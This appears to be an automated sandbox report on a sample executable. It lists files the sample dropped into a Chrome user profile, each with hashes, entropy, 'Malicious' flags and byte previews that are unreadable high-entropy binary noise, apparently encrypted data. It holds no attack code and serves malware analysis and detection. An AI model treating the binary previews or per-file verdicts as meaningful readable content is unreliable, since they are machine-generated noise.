SHA-512:	158BD261BA849B00E9DD9E912B88CA1F5D999B186E82298834D2B7CD68ACE01A238B9E197748F03BAB2239105F435B4B196601E9A8151D0362CFDA6A5ED68E7E
Malicious:	false
Preview:	.PNG....7\|...r..N&.V84:i.....2@.m..@Z..O..D...."........$..$.V.z.IR......\|hxw.)?..3..,.......zK>....6.s>...s.>.FS...z..~u7w.cf..k.....2...J..b93%..m...$?..b....c....../...U6.....?KOy..U.8.........'..-..D..........^P3...........1.tI........L.&..C.8......&OB..q..A/Pw...p<...532$f~Rs}(m..u.. .gea/j2..UCe5.\|?]`!.Z`.~..OO..>..o.c4:...(.,:\|zJ....,.t.RG..u.DLO.m.~....:I.,.5.+H3.$.3[(r.."8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\topbar_floating_button_maximize.png

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	500
Entropy (8bit):	7.516045750388294
Encrypted:	false
SSDEEP:	12:A3F0tUHsMzPDH7lG73e+gzBsytQ2zxJd76SVoKQscii9a:4F0tXM7Tw73h6sKd7KLsbD
MD5:	91DB670019025D5FF8FC4495E6C9EAF8
SHA1:	C00C74DDAD84FCB4029F2E2F28515B5AE9EFA8A8
SHA-256:	BC8EF3C03F6EB77835E169465D73E6B1D53028114DCEBEA593F90BE9B5A8B3E8
SHA-512:	41712FBBEC2510D7442906F8ED2402752DF080FF7563275CA5D05598006582D052665362FBD1CDE476DF5AD9CF6F602FC73A78DDDB37300F010F6A152B0CA49B
Malicious:	false
Preview:	.PNG...[......u.%.g=.h..d:9-.o[h...=..}..m...1...X..SZ.......<.....Y.u..T`...Ohx...5.i....Q.V..t.5...Um....T.}U....".l.m....*..}~........C...^.7..P...y.A.7 .=....._Px?...x.....S..DY.M..i.3 .=...BI;..6..)8o.....:.Ahg.f...x...D...}.\w....z.}.hc....Ct.{..}../.sz.+.e.2...e...d/Q..i..+\|2....I.!.6.n.... .3..8TI.`..7JU..T.....[.t..&.......fqX.o.(..$`n..??......]..Z.....P<.t.L{x.ae...e...:C....8&z..X..>.sYU8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\topbar_floating_button_pressed.png

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	494
Entropy (8bit):	7.578067625531785
Encrypted:	false
SSDEEP:	12:Gye6htS3963Ho9pvghO9OF+T8nhl2T1BvVQg6rhnuQscii9a:Gylm39gHo9pvSO9/Kv2T1BN6rhfsbD
MD5:	F8F9A36D4F9F9CAC54AE00C49D4C335C
SHA1:	09623BA6F41A346F06F9BC7EFFDC15DA12BE9CFD
SHA-256:	EE7DFA022EF4E2F68919479F6253FEDFE6B1E1ECEB83F7D43F8C34940B258F78
SHA-512:	006CF97CD85CB547D844E58B0A899440B9E80F7AB85FD47F43AE52CE8AE370E8357F097D040F01996D374BB4F67D758D233AF56F835CBA005EA47F3E72400741
Malicious:	false
Preview:	.PNG.=.M.%I.$1].....8.K\|.....~Q$.4.[.z.px.Ft.y_...a..\|6q......}[.&..nR....WK&.`&..q.F.w..t..z...w...c{....`m.n..!..>._..u...)Fb...R......].xl...&...#...fF."......d......>...W$..z..ij..Y;.j.H.......:]..._^TOa.+.rH.......L..................O...4.3z.S1.}..f...M.(...l2@...P..d..m.KnJ.i.~....f.::.y.....*z}..5.!:..cN...8/.#.wd.M.......y...m.)O....Nv.R<...T....a7.\`/.k..U.....P...3...S68N.$.c.G.c8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\manifest.json

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1656
Entropy (8bit):	7.879293734083555
Encrypted:	false
SSDEEP:	48:ZRXU5PX0QQ3oySqvk9c+Z4+upjjSuvD+0P+Tzql0W2tezmD:vEpKTSqvYcVJ7LPSqX2tg+
MD5:	143D618155BAF9BEC88E6461AE354F6E
SHA1:	02E433C2C61E6A77358E8C26647E469158EF94B4
SHA-256:	13818B0A62D3EADA474B22ADDA826A652A8D611E4968CC82B269DA49CB34F73A
SHA-512:	1B2A83F51EEADAD379A4E9FB1004424D44C7E7F5084B59A51D46638C5E2BF2DCA32E0180E75E80FB39B58F0C07792ABA185FEE895FE4571258335B622046B466
Malicious:	false
Preview:	{.. .^y.sl...Y.nzi..T@U..5U%.K.Z.......3r..n.JQ. .-...c.xo...@6i.. f.s!...K@............5.N..na.e.8tS.I.....s{......a..m2M..fK]..i.....v{Gz.=#j8d...7X-..i.!.k.[.........r..K....]..e.`..XHz'x...,..ia..99.&...(mub..z..S....'....)'....OB.......K.&y...K.[..A6.....H\..M.8'.G.u;.-../)f........B..<.z....I...-...B...h.P...u).....$1.....j..@..K.\|..U@.{n.h.....V.b..[...=x.:*c.......O.....(..hv.8...J..+yq.KZ.. .~.~k.&Z..z...O.....ys.j.....p.\|....mB....\P.O...&..0#"..j....d>.=.P...B{..i...;....__....}0w.+........B.B.yx.].....S..Q...~..".....s.R.....g...;..:.,us..@..#.>...;.u.}S.r....\.....Pl...........a.N+.%..a)..7....3..@....=...4..9j`[.>37..(.I...Ibj......P......~=.......goX...H..IP.....a..%........s.....7.J93..mS...../(G....jG[..x?V<.....t0E u7E.\t....Q.y....4>yo,.N...0...lXb.v.D.f/O..O_........l+..U.Vv..O.{.@4.Rn.RY.t.(...C+................?....#....[.r%M$d....R:...jM..G.C[.@.>.....T.o o.#+s..\|3Q7.@?9..D~.2..M.S.~.i.JJ.........I.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	509
Entropy (8bit):	7.53591836112256
Encrypted:	false
SSDEEP:	12:Ss4WibVnpfCeY4tf/2SBmzVTMqMB30/nDQscii9a:Dc1pf5Z/2ymzaE/MsbD
MD5:	67E352BD4C3094ACDEA15D0CC0D1C513
SHA1:	2580D92313E8B5A44306145AC7A9831651F8274C
SHA-256:	A30345A203597A024F6E63DF465E4AB35BA144987CA11652A5C9D99FDC56B895
SHA-512:	F3F15C64CA2E36EC56A2582489CF58849566E765A1B416ECFB2947FB29CF51E23B5B38181A09F06A73FE3184DC6F4A6B1AE307A1683C97579AB683710990AB7B
Malicious:	false
Preview:	...#.%.P..;......[HA.x)z6^....3tx.k..n.....U.\|!....b.2O.j...).9....j.[~.i.......`.aq.w.m...y...#.....cY.q..[.T.w...l!.......?..#...a\|....^..e`}.XK..wU^....C.<~5b..b1.....\....F.?.Be....m....S.[....B..$..%.N.q.0.:.o.U...p..l...HT.8o>....k...B.q.;..).\....$. .(........m.xk....ws.....HrU....%.Z.1.tX.....6.K...v...](.>..!....S..g..1..[..IV7.)Q....@..@......$...h..Q...D....6h..........UeL....9..V..jU..].(msY....8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database\000003.log

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	374
Entropy (8bit):	7.337076254244391
Encrypted:	false
SSDEEP:	6:qPQUEphlUNH7byvy9iQVWzAgXSuV9n14MRrWYVSeM3DJ1MY+SSob+7jTnVs68rys:FRHlwH7byvAiaWzAgXVF14MRyY72TMYl
MD5:	8E4FF289359C24722F343A6C07594F69
SHA1:	0DE8B80F76ECA9D71F64E84C1448D90F3D0F29F4
SHA-256:	D0D954853F4C68CFD37CC91FAD0E5C159A85A7408C8527BFBAAEA470372D5D7C
SHA-512:	9586FE0EC0A54DA88B6D4F26D948702D8A8E4B115D7476E5E5DE79258909B25BF088BB5C880D5E2A2B99A077D1B19BCF84125E91F481BEE19921F649DB6278DB
Malicious:	false
Preview:	.On.!s.7cAn......`P....).6m..LZ..9z>..m....TRl.[.K.*I.. .{ZGc....C.W.......T.!2....M.BL....e..E.nBu&...5.^...y..\.....Q.H%.puo.f.L......X7{....pT.4..^..j.9.;.>.0A_....=.c..Z.a.......;..\r..a.......#W2.1.e.[..E..b.#Q...ol.Fm...U.o..`...`5x....b..s!...!..1.;?.)._.C!.5..W...sr..;...{nH8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons\128.png

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	8296
Entropy (8bit):	7.9820429964571185
Encrypted:	false
SSDEEP:	192:3NMNj9uTGr9wk/vcoF8aOdex058oBO+kKxBLv2bm+HUjRhjK+:3K7uI9wk/UosRghKLv2DHGfL
MD5:	B027E3A6ECBEDAD4FB82B67306FC4DC0
SHA1:	ADA30665DD38B0B894A7BEEF88ACC518DB527CEE
SHA-256:	32F66FE45ACECB37F753302A85AA7435F165B35B8C6BC27847E446E37381CC65
SHA-512:	4904D5713A12651A3BCB69B5DC139D9D472C6C39F93AC4981567C5ABE1A0514964427503D53DA13A8EDFE9EC40F910385404CD7032EA165C70F85B0DE52AAF3E
Malicious:	false
Preview:	.PNG...:....E.)%......E....n.S.\}.~..1O=N...k_....ZQ.Wl.O..y&.9.z..w..% ...."..$..u..-..B.....@!Xll.Yc....m3\...o.+Q..y.S5'.e.[W.:d.R...p......-:.3.c.E.U[.a.RddA.!GQm.$.L.<...!.i....X!.P.;^O!_.9K.}....F.C!.c4..?F+......)ZXz_..9&sa...r.+A.'.$f..nD...Y....u.m?.8...z}.......G...ZH.\|aTb.4.+.......F.)v...Pp...\.&>B.E/"n2.h..U.g......T....$q!gbi.;......./..7.pB......70..{.g$...d.D.9.. .zb.....,.f.XG.A........NOv...-.6.f.K....9m{..-&.U..M.......~.......#.D...^a.C.L.&x..p......q.!..F..&..H[]f.D...U.N...;.P..-z.e8....V....g`."....(.bGv..HX.H\|sm.q.........b..- u]X..xP..K.5.D.,..Qt.(.1.8r2..O%a...~.,.....w...D5.=Za`Y!$..D...0.C...... .X]......k6....RI.0.\|{{.S?..S.G;.%K..A.%.O..&....#.}..qp..d~D.f....RT.+mPUg....5...I+...j....tv......QJ.U.M.\ .;h.D..;..".1...A1 .t.b..yF.....f...\|...<k....J..p._.......g.....{.'k=XB.../...ss.^.j.(............t....q.u.2._..y.\|.Fr.R.\|.eN....OY...~..{..)......ua....C.........)4.o.....45....k.\|...4~.......9......bfi..}G

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons\192.png

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	6023
Entropy (8bit):	7.965523080444945
Encrypted:	false
SSDEEP:	96:BQE4XnVfEoBaH7Dly/EZTkN7mlLd2x5gnf2UFKJYEo+Dgdkllt+:KvzODpZQN7gdo5gn+aQ1kdk1+
MD5:	74787F131369A1D2FB4FA01DB2107514
SHA1:	D5E80B2E1F325D0DB423C53DEB6802BB14BA5C0A
SHA-256:	4675234EDDE7664C6EA735F0F93E5DB125A2A282D8394FDBCBB3A13A44990435
SHA-512:	64062A6C05099CE76AE8441B4B21DB69CEA41492C640AEFDCECC7EADF108BAE94734F4F198670F1057D70B6C8242839872CF37BE8608F1753CDEE4E28811F810
Malicious:	false
Preview:	.PNG..+3.:....{.CW.R.'....4Q._.Nt...u...#.'#5.(.O..(d.x..jC.O2hi..q..]......C.`l.]..B..']...G...YO.x.=J..^..H..@.P.T..c.v.]{...?.T.5.'..8d...WN....O..w.G...0.H..0..,0...G.}.\."...MgtI..I(6u?&J.....v>L.2...6kN...-;...Db.w.....p....DC`...m-..5.1.4..r\|$.G..{.3g...[...R.Y..#.o..j..L..,u..+..................;.d....n`4. .MP..~3).D.2..yQ...%....j'L+aT>...(.:'......;Q...c&Q.$.kd.....)...^.$Tb.....~...w.M...........5.0..i^uc......@....qP.eX....@....96....@....'v...?m....M}.....h..m.R.Ea.,..F.b..p.A...,.-.1....._.!.....X5..\...a..F.....2D...&%a~Qm.LK.....N.w3t.y...........$"..5B...j.{.A.....I..........3. ...Z.%.W/..e.ekh.ON..h....E............=...MU....vmC.\|.hX..w.:....@.5.K......;g.F.R..Kw..b.e.Uq........L~c...l.. ..m.!...ugw..U.#U.u...bS...Q....Y.`].:...{8..C.[.&M.L.......R.y..HE.y...+.3M.M....A/......\j.$m.P..k}ybg..;.{...+F.G.Y.....Z.&.5=.RNl~bM.ms..1Q.jl.@+l..3T.G;j.{u.)....d.2S..?.`..?..jr."O7.[.W.2.<$.?.>9T...}A.To..E.......$P

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons\256.png

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	19928
Entropy (8bit):	7.993032298925816
Encrypted:	true
SSDEEP:	384:nxIOIA7Mtif6xUNH+8pPmxPu8XLSsH4t3z/BXvpIptY+DLEvJum:nyve1NpPmBbSsErDIQ+DK/
MD5:	81EC9513EC7E89F1227D75CE5BD9BEB6
SHA1:	1904F2199C82D49EEC7B81DFFAF714BB4A97C086
SHA-256:	09C00FCAE9630AE2B94C0C04AE71F4DACF4E654164DB8A72217FA0DB4E6C394D
SHA-512:	8DE5861586A634F8DA99F83D6821F24F9F63B7E67FDC86228933D21A4E8CDC17167A422097597E260138B6AC3F63C8CF1EEBEB7FE9050FB14EC6297B411412E7
Malicious:	true
Preview:	.PNG.`....m....8..q<..n.=}U..`v....N..../....?O..#..lyK....o.yE{.........0$rI..'.!..].7X.....!.@.,..Z....0..:....'.g..{.bw..J..K9by.S.U..4N=.p..{X...l!.Ou.9....F............d....`...i,.pb.>.4.. ..DLB3....J>....<49.....f....d_.S....T...E._8...e..k.....-....T......^qn.=..mV.F....#......)....].e........o....N.Fl...F._Y..]2Bqcg~r.mu......8..<..5..:4F.`........z+..5JJ.J...}...J.8~..a...##.82....^......,..s.P[...xD..%(l...A..v..1...^...hv...D.......E....Wu<,u..Y../b`.B.>9..uJKt....q3..d...kU#..l... ..We.c.h....u.g...........z.8.......2..P...%...e......N....6...F.z..........\G6..u...2....\|.qpl......[....O..L....k..r........1.+N.."$.k...e.YB...H....U8:.j.....?.q.J....G.T4....dz.~.+.dH\|b.v..MJ...Hn...y...T....:G.g[.... ..)xq.y{..G....m..._l.ldy..<.-EO.....~....!H d.[...gS...E.gJ...<.I.2P...C...L.G=Ab0...i .v...Y.K..E.X.,.ug}(~ .1..#.` 8RDw..{...D.DD..v.U.QX.H._....w...W...'X.h....4.Z. ...C.q&......#Np.CWQ&.h8]..U,F...w..?..S.'.....@N..4

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons\32.png

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	2150
Entropy (8bit):	7.896018517678923
Encrypted:	false
SSDEEP:	48:b3RBtsyv5+aaaJSuFi7NjsR/WmKYtCqcpOmD:b3jyylLO7OR/fKrO+
MD5:	BEA7CF9F89B8F77271A2CA9966B365D4
SHA1:	FD1E94F8770DCB78D8C5926C67E1EEF12A6230C6
SHA-256:	AB6EE9F359CB65977428A6FBD0181D6025A613772239BBF5D3C860C6606E804A
SHA-512:	B957F7A5D0D1174A71B51F37380DD4264C799BE61ADC051D263CE4236A633295C806F66D2A785E3B9A0DD8EECCDAA498FA5C0396BC0949A1D0BCDE11A70A106E
Malicious:	false
Preview:	.PNG..Vm.b.... ..d..o..KjBy.U.r...Ng.tG.a..%aG.t.b...S=.TbHt...5Yo...}.:....iO...W.v..>C.....s..Bd.7._#.4,...0..56..XC...G"1...n<....fvTq..s.(..U<....oFq..h...[B.B....u.4S...3........7..z.2+.....3...W...T....z.........K.\.\.g..Y..(.~.j..[.......7...9U....u.Y.Q..E.....L%3.5E..Q.....q$;..c(.1.OC.nl....1k....$,I.l[..&.r..Wy.H.[...L...46.<e.vOB...4V.......q....V.#Z[.....:..v3-x+..;..=.Wa.\,$.9..Q..ve.i9.1.:...+P.Q>\...DO...&fG+....]`e_......@.g....\|...r..H.P..H.q....8}....-..~).5F%5..x.....]x!.H....N;.....M.(n.....VG.v..&..L..i5R...$.+.........[U..r..a.W..Rd...E......{.....t.p..;.~1.fU...hvf.Q)...4F.^.......,...3I.e.....;..b..`x..X..Vy[O>)...h...z....V..,_..v...j.5.ug.e..-J.i.6..F.....{..........+...'...Q...#...x.2B[..?.R[....s...'.T..z%.Z......{..U.o25@]..W=.b.,Q...~.....M.l.~.d./.j........A&..1S......j?v1.........!.....W9.-V'......+.&..o#..V.M.^............<.e....qr$.l{.....n..(..%........5.....w...N.w.=.eTL...D..5\q.._.u.3a......

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons\48.png

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	3201
Entropy (8bit):	7.927565514608138
Encrypted:	false
SSDEEP:	48:DJiHjEFbW14Se3/8Q5GFWaMredqNULCt8J2ZCnW2/Jba8Z9mCyuRnqmAVrmD:9YjEFqiEbFWxrYHJ2UWwbXZlyAqmgr+
MD5:	BBDE9A4B9943F4382D49E41170C440CA
SHA1:	38774906B8102EA565A02186AD1762ED1CED4FFC
SHA-256:	8B1CF25C79E552198DEE7B140842E608931888A0FC92F830740E0E232670BF1E
SHA-512:	6959608648B858A2C9FC5BCFD85073D7DA98F434868995BD4896F12822AB4F13193E3E7DA7498F925AFFF3C2DDED1C5C31A8248192B8A94A6A15997777E5DDC2
Malicious:	false
Preview:	.PNG..} .N..u.JT9u^..9.otP....xF..DB..H.w$..=.G....;M.o...+Y%.\|.y.?F.w.W>XGk..jl.Y?..l.m).86..{xVV....>>.`4...Jt.;C....bQ....../\|.+T..}.z....[.....2...B..\|T.....\|.%K...............\|/..u....j..L@].7..q..u..c..j.2...}.Me..q8..sr^.+....:7.N.......m;._Q_.+...1...$3.C..Y.Zqe4..[.........V...IH....%U.d.] ...fd.....,.W.P...).:..R..OX..Qq..P..Lf...Qp..d.s..(.M.uE0..Q.wa-3a......b;..X.S.:...WwQ.......5w....O......V...sN$[.8.......f.!.~..b8.:gpI&I.....~q..@...Y..EV.'...R....?f..A.r....h)..!D....X..q....##.+.0^.yA.....mn .~...[....E..YF.X7k..e."e.....n....dm..#.'Y%d.%..}.z...OOq6N.o...9z...ln.......9.1...k.[.Q.}..:.`S...o~.EU.. 2...=jl..)...l...b,.B\|%.v....i.p.-....&.ji..OTG.[zO....;&.#P...X..g.......1..{...s.ra....@TK...[.;..N!D.m........=Gq.)...u.U..GQ.0.<A...,.Kd.4.[..T.._fE....}1./.k&.....Zy.Ji....w...m46.!.......(>.A...D., .....Y..^w/....D..o.A...E]D..wV.i........q....C.`...wzw..T /.s).r<Y..yJ7>./.<..K.g.(....+v..zmN.B.....].....bz..'R....V..

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons\64.png

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	4170
Entropy (8bit):	7.950996385884524
Encrypted:	false
SSDEEP:	96:wuLGbSub4onYAQrG1qQNqCr1WUp0BGvKyW4NCBMvS9+:wRbS7niq2r1vp3SrM3vG+
MD5:	DE8D99E9742306EA042A8C5428859E04
SHA1:	CA17BB179DD564E43A3014D07546874DA9126716
SHA-256:	A6600DFAB57AB27954D5EC47EC4653A486749D39A2FA5C6CC2A7975342DB287F
SHA-512:	104C3B98B546D750A37EB38DE59B3D4D2320DA7073FC364913C7EB042554DF9AFA6B5280D35F3EF2FAE903CA4CCFB6F9812D2EBF66D33A3419F115C81F9D44A9
Malicious:	false
Preview:	.PNG...AX".:&{.,B.\|R.....m[.M..w...F.......X>.........%.SY.FSn..5yn.l..x.P...VK......G.O.......~!.....S....,.{S....:_].rl.........\|{...e_..V..{<..L..U{^.....p$..+d..........8.QY2.~.a..`..g.0-S.dL..C6?=...O....%.F....N..z.8Q........m.......\.6&.....`....?....Z,.i.3.2,......F.......(.....l.Y.....}.Y..`_-....F.....C......X....x.}Q.v.7../..jo;........)c.g.%q.x.7.}...^7..R....K...G....2{P.~.i.X.].c..y.E.8.N..2Y.....o....hMw.........%..@b.x..v.bu.7PI.U......v..7..G.cL...H..k.\|/.Q7.{.}.S.........6./.Y.)S......t...c._$}....>...{.Bz..F.[b.OE1.m.Q...].V.;.Rd HW.3.x..k....&.......V..qD..@.....F..."+.i`....A..+b......Q-.L..b{.W.t...8.?.F.0..=....R...5....6.5..P/......yP...sI'..^..O.....s.....wx....8.3..F&6...IB.iU....}......Hb#...tm..Cm......-.R.......Q...C..{.4.1..i.i...o.........eGcf.....&F..?}...W.O(...+..J..3.....3.....}..........1P.+.dyK_KZ.o......lmc....w...O..@....C..\..>?......M...[,...=wN...KB1..xo.....}?...+u'g...=.}....W.....

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons\96.png

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	6103
Entropy (8bit):	7.974699135594603
Encrypted:	false
SSDEEP:	96:eTLkjAA+zUYRIhg61IvjPNZIZmxfQCqSopbfuaj81qz12rd6/+:uTIhgw2QZ+I6G66mqz1eA+
MD5:	6F10BAA618FCB947BC919166F017D78B
SHA1:	798F61B1E8F776FE5B15E20B34806B00D2B5CB76
SHA-256:	FCAF6165CFCC43C3F6F0C24D90CC76CDBFA40139EF13D607F0C2B7B54119AE83
SHA-512:	B3FE282326F3D6B8E11688B5C76151E1CA62BD67406A6E99A82B085DB7E3CB6491D2970E2245DB527AF7DD3E0A4CEC7EA4ECC4F3F0813968342AF1EA794595D5
Malicious:	false
Preview:	.PNG....r..b..G..c..........{.j.:..`.[4.f....)j......l....1.Bn.!Z...QS..\......#..cF..?...,.w...x...j.).b.E.F..G.;.k@.....4.6M2....Y.n2kC..../.)no.k.EesW...n....Y..6:...IS...;..W....LT`M.~...Q..,..g\.]........k.lcS.xH.+r.-....c..c..G..E.cT.t.q.......4/M>4"..".H....U..=.::)..B..D......c.....\}.r{<K\........G;..Y80..b..u.]w....6m........`..Y,.....dk..{t.Y.:CR..b....(A....52..h..t9..h..$..,...^.[^....U\.V...?l..._;y-.=.x..R...j..~..U?.#i.._V2w..............j/..,.J.y...%CU.$..no.W....A.7m.Z..#....Sp..w....T.ab......#4..L_8.c..2..a..9...U.q.[..&.oB.1.]].N..D@g....\|..u.0.....#.1...-=..<.Ik! ....:.\.1.319vs!V.sG.Z.\.Q.`.........gb.8....H.5J..j..b...P.#. ..6..jV....k.....+..6...[C(.a.jn.b...w%... % .\|y\|.....E....O..@"..a.36..} S.I=.[.80v.....'......3p.C.R`..l...x...a.M.."..I6.......D1....Q....a..4..%..,....u.%..X..>..K^..N.jv$U5.0g.H0...D4.....e..]2..H8.....w]...Z.....D....):.$.I)*W-?e......u..r...........Rx..2W.....V.ba.......(.S......,.........K.w.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons\128.png

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	10398
Entropy (8bit):	7.983108606653825
Encrypted:	false
SSDEEP:	192:gnKMnxEzv6xukaQWSPSczO/lztUPfW8Tj7Sk3FlhM0RwVX0f1N89o+:qxikafSKaO/43Sk3nl+sNIZ
MD5:	2E79A8351EB60370B505DFB864C3CFB0
SHA1:	BDFA3D1735CF94BFF10407821D14198E14C59347
SHA-256:	D9E8D31B6E7141D1CDCA83E23D296FAAA45BD4D80A27445209D3B5447AD3B2E5
SHA-512:	5DFB1957186C34A9512897F38488A7DDE2C497BF7E1489EA5CC96C39782C266DECC04D4832C44CB6AFA52DC6D53855D2CCA1750D88FEAEE9E602D405E4139114
Malicious:	false
Preview:	.PNG.f2j...A...D.H.....'P.qsg...?..._.%....... .=.u-.)......6.C......Xs{..#-&s......9x..<.j...=..@.bSY..6.e...%.gW..'vP.O.b\..(...F.....%T.H....I..,.B{......E.....?.<lK.......Q.r......[.0.u...q.w.{..=..9h...l.&<.r.....).[.N..i[."....B.Z.]...../.W.]......_.1A8.c..[..Ko]=cOT..V7.8..?..T12.F~.R.z...K..........^Y%..s'..l(_lc.\\|./..s..$OoUW#..O.a.x.....w.....'...&s....../.......X.j.n.!......q...`o>..,I..v.!;..5m..S...M.S.G..P..:s....^....^..L;cO1.......&p.M.\.ZL_...}s.@.(....&..k.{...3...uzO..>E<...eb..?.tA.5%fOn.WMS..OG.{.}e3.v.<...4..p=.Y.5....G........d....[.......U......o0..kR...rBL .....<B....D.F.....z..6D.....sZw...{]..4.C.Q.....% d.....d.V..^.........}..R=...UM..;5#A..v..MV...G4...f...0....y.3...1..;.A.<.8...!.......>.........m.~p.-j..M.kyk.<0B.8..u...P.9....:..........FN=...,G..O.&s.~.13c.>f-K2.Y.a.....o..z.9.rY..Q............L../.8.......Y........fx.../....".....f.Kk..].....r..(.].3...M....h...w.!...t~..ft.{=....k.*..PW!..dI

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons\192.png

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	7289
Entropy (8bit):	7.979597512700014
Encrypted:	false
SSDEEP:	192:R2kejIw4bImUM0OjnQI8kKHuG7Qa0xRUQLR+:R2kuAMpGGtOKQ5xhLA
MD5:	6D751AA262B77DAD3CD494B484F4F5E2
SHA1:	CBD290AD8F96AC82E7A1A86AE51BF4DE93E3333F
SHA-256:	372F6EC9B1AFF1BCDEAB2AC13FD9B947A34D13422D2792267A727D42D00365E9
SHA-512:	FF15984301C2C2BBD71598A109D78E1D4BD1F447ED78E665689D28672B82F1579CFC49839233478F260D87B2A218D3F0574DD97DC053B56D876CBA3077912556
Malicious:	false
Preview:	.PNG..VI.8..........m/!........X8%.k.O}N..~.....n9BhY....lq..Yr...v.j.0..:F../....;.../>z.\]..T..\..9..g.......6>.....^=...s....AC.VT3`ay .Izl..Ko..._...\.\.....@....2.M.8F.......b..g.......2..N...Q.H..S.T..H....G...-D..7..9.(U.1...G.D-.....u..\.f.c!+..Sv4.....")t.'y.....,.43.{....~...7.e..4...].9..>..0seA..ly;.......s.......1.[..A'.JB.D..Eh...e.\.............,.6.r.9.>.......H........l....py..c...Fn.Z.F$;.{.JJ....^..R..?.F.(k.....5Z......_U..M'.\|.iG^.$...R..M...I......3h...I."+.......<.$~.).....0".W.9PF.NU.......m.N.....Q...VT9...WY...xm.u.....).....s.H............a-. .c..YZK...+vM+I.2..(..%.........xN.#8....?..O.t.p..\|.K.........a....[l....G...AI.b.4....Q...B....~xV......f.k....m.../?J......?.y.....XHaf....wcmc.P..kR.:...Ub^..`1da.-.Y.j..>..l..S."B.!..^;.\8...~yE/....E...9>......4....PW.....<tS....?.T.}.........?h. ....GQ.{5.F ...&..z...9......r...@T..e.@.#.( ...6...X...K..._.s...:'..4/..&\|R..3_....}.HA..X}/.]+...2.....;

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons\256.png

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	25673
Entropy (8bit):	7.992415647072755
Encrypted:	true
SSDEEP:	384:fzZh6IZ4aoohVuvZClAt2rJv+avsoSQK94K0pkecignfytfIXsGxdl9HdU21jlV/:7poOVgZrtQd+a5pkWgntUCVO3hiVfUxO
MD5:	1483F734C7260CB0056C9EF1514AEE3D
SHA1:	351E63B6E963260628CA072CA4CA8F31B33420E4
SHA-256:	79FF61F9DC2E9F8FCA2C77C8FE0AD80828627732ED62CC3607B229C856938DB7
SHA-512:	02B1675577A30A84890571731D2858810C620AE8BAC487855677204325D9E9F072FBB63AB756F3B23A0BB3E62FC60D7966B71E014B92ED395E7C119CB13B0F17
Malicious:	true
